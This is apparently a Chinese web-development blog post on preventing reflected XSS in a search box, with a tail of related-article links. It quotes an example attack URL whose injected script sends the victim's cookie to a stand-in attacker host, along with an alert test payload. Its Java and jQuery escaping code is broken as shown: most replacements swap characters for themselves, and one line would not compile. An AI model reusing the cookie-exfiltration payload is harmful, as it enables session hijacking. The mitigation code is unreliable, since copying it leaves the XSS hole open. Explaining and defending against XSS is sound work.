搜索框反射型xss问题解决(网站开发)
什么是反射型XSS
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的,比如获取用户的cookie,导航到恶意网站,携带木马等等。利用该漏洞,攻击者可以劫持已通过验证的用户的会话。劫持到已验证的会话后,攻击发起者拥有该授权用户的所有权限。
反射型XSS漏洞的攻击步骤
(1) 用户正常登录Web应用程序,登录成功会得到一个会话信息的cookie:
例:Set-cookie:sessId = f16e1035c301aa099c971682d806c0c7 f16e1035c301aa099c971682d806c0c7
(2) 攻击者将含有攻击代码的URL发送给被攻击人,例:http://fovweb.com/xss/message.php?send=%3Cscript%3Edocument.write(‘%3Cimg%20height=0%20width=0%20src=%22 http://hacker.fovweb.com/xss/cookie_save.php%3Fcookie=%3D’%20+%20encodeURL(document.cookie)%20+%20’%22/%3E’)%3C/script%3E
举例子:比如网站一般都有的搜索框,当在输入框里面输入:<script>alert(xx.cookies)</script> 的时候,如果你没有处理xss,那么就会弹出提示框,攻击者可以获取cookie信息,从而达到获取用户的所有权限
一般解决办法:
反射型XSS漏洞处理
了解了一下一般反射型XSS漏洞的处理:
(1) 对一些特殊的标签进行转义;
(2) 直接过滤掉JavaScript事件标签和一些特殊的html标签;
(3) 将重要的cookie标记为http only;
(4) 只允许用户输入我们期望的数据;
(5) 对数据进行html encode处理等。
我的实际解决方案:
第一,我在后端(java)对要输出到前端的信息,进行特殊字符转换,这样的话jsp页面里就识别不出来为js代码
public static String revertString(String input) {
// 使失去用处的标签从新有作用
if (input == null) {
input = "";
return input;
}
input = input.trim().replaceAll("&", "&");
input = input.trim().replaceAll("<", "<");
input = input.trim().replaceAll(">", ">");
input = input.trim().replaceAll("\t", " ");
input = input.trim().replaceAll("\r\n", "\n");
input = input.trim().replaceAll("\n", "<br>");
input = input.trim().replaceAll("\"", """);
input = input.trim().replaceAll("'", "'");
input = input.trim().replaceAll("\\\\", "\");
return input;
}
第二,如果你在前端进行赋值的话,也要进行转换
var content = $("#so").val().replace(/&/g, '&').toString().replace(/</g, '<').replace(/>/g, '>');
$('#ssjg_div').html(content );
如此就可以解决:搜索框里输入以下所遇到的问题了:
1,<script>alert(xx.cookies)</script>
2,"aa"
3,$nbsp
搜索框反射型xss问题解决(网站开发)的更多相关文章
- 【代码审计】VAuditDemo 前台搜索功能反射型XSS
在 search.php中 $_GET['search']未经过任何过滤就被输出 可能存在反射型XSS
- iOS开发——UI篇OC篇&TextField作为搜索框的使用
TextField作为搜索框的使用 在iOS开发中我们经常会使用到搜索框,但是有的时候系统自带的搜索框不足以满足我吗想要的功能,这个时候我们就可以使用自定义的搜索框实现想要的功能. 今天就简单的介绍一 ...
- 随笔之——各大热门网站search 搜索框的写法,浅析!
随笔之——各大热门网站search 搜索框的写法,浅析! 关于搜索框,写法有很多种,搜索框这一块是一个比较细的活,要先计算好他的高.宽: 下面我就以京东搜索框为例,给大家浅析一下. 上面就是最终s ...
- 【好程序员笔记分享】——iOS开发之使用TextField作为搜索框
-iOS培训,iOS学习-------型技术博客.期待与您交流!------------ iOS开发之使用TextField作为搜索框 今天给大家带来一个新的技巧,比如平时我们要使用代码创建一 ...
- ios开发之--搜索框的使用(PYSearchViewController的使用)
最近需要开发搜索框,比较了以前的各个版本的搜索框,UISearchDisplayController和UISearchController的使用,以后再做记录,随着ios11的更新,一些控件发生了,改 ...
- C# 动态生成word文档 [C#学习笔记3]关于Main(string[ ] args)中args命令行参数 实现DataTables搜索框查询结果高亮显示 二维码神器QRCoder Asp.net MVC 中 CodeFirst 开发模式实例
C# 动态生成word文档 本文以一个简单的小例子,简述利用C#语言开发word表格相关的知识,仅供学习分享使用,如有不足之处,还请指正. 在工程中引用word的动态库 在项目中,点击项目名称右键-- ...
- Android商城开发系列(五)—— 商城首页回到顶部和搜索框布局实现
今天我们来开发商城的首页[输入搜索框]布局和点击右下角图片回到顶部的效果 搜索功能在App中很常见,尤其是在商城类的项目当中,一般都会提供很强大的搜索功能,App的搜索布局一般都是在App的顶部,如下 ...
- 开发手机APP过程,不同使用场景APP搜索框的样式及区别
搜索框是 app 内最常见的控件之一,可以帮助用户快速又精准找到期望的内容与功能.不同的使用场景下,根据页面中搜索的重要程度,搜索框也有着不同的样式. 下面就常州开发APP公司和大家聊聊常见的四种样式 ...
- Android开发 ---代码创建选项菜单、隐藏菜单项、菜单的生命周期,菜单按钮图标设置、搜索框、xml中设置子菜单
1.activity_main.xml 描述: 定义了一个按钮 <?xml version="1.0" encoding="utf-8"?> < ...
随机推荐
- 简单Java程序向实用程序的过度:二进制文件的读写
File I/O中常见的文件读写: 1.字节流读写文本文件 FileInputStream; FileOutputStream; 2.字符流读写文本文件 FileReader; FileWriter; ...
- 成长之路--Docker入门
简介 Docker是一种新兴的虚拟化技术,能够一定程度上的代替传统虚拟机. Docker版本 Docker 划分为CE 和EE.CE 即社区版(免费,支持周期三个月),EE 即企业版,强调安全,付费使 ...
- hibernate的各种保存方式的区别 (save,persist,update,saveOrUpdte,merge,flush,lock)
hibernate的保存hibernate对于对象的保存提供了太多的方法,他们之间有很多不同,这里细说一下,以便区别:一.预备知识:在所有之前,说明一下,对于hibernate,它的对象有三种状态,t ...
- GUI应用程序架构的十年变迁:MVC,MVP,MVVM,Unidirectional,Clean
十年前,Martin Fowler撰写了 GUI Architectures 一文,至今被奉为经典.本文所谈的所谓架构二字,核心即是对于对于富客户端的 代码组织/职责划分 .纵览这十年内的架构模式变迁 ...
- 从零开始的全栈工程师——html篇1.2
起名方式与CSS 一.起名方式(起名方式也叫选择器) 起名的目的是为了给标签添加属性 常见的3种选择器有 标签选择器 id选择器(使用的时候加#) class选择器(使用的时候加.) 样式的 ...
- CSS3新增的伪类选择器
伪类选择器的作用:对已有选择器做进一步的限制,对已有选择器能匹配的元素做进一步的过滤.CSS 3提供的伪类选择器主要分为以下三类: 结构性伪类选择器 UI元素状态伪类选择器 其他伪类选择器 1.结构性 ...
- Scrum之初体验
一.前言 入职两个月,作为新人,没有参加过一次早晨的scrum会议. 最大的感触就是,有一天中午,带我的开发哥哥突然说产品今天下午提测,我突然就懵了. 这算是我体会的最大的团队中人没有参加scrum, ...
- Qt删除文件夹
写的软件需要进行文件夹的复制,开始不怎么懂就找了个拷贝文件夹的代码测试了一下,运行程序选择了源目录和目标目录相同进行拷贝,结果悲剧了.因为是递归拷贝,导致文件夹被嵌套N层,软件死机,强制结束后,产生的 ...
- solidity语言1
合约(contract)由变量(variable).函数(functions).函数修饰符(function modifiers).事件(events).结构体类型(struct type).枚举类型 ...
- JavaScript中弧度和角度的转换
弧度 = 角度 * Math.PI / 180 角度 = 弧度 * 180 / Math.PI 在JavaScript Math 对象中: sin() 方法可返回一个数字的正弦. tan() 方法可返 ...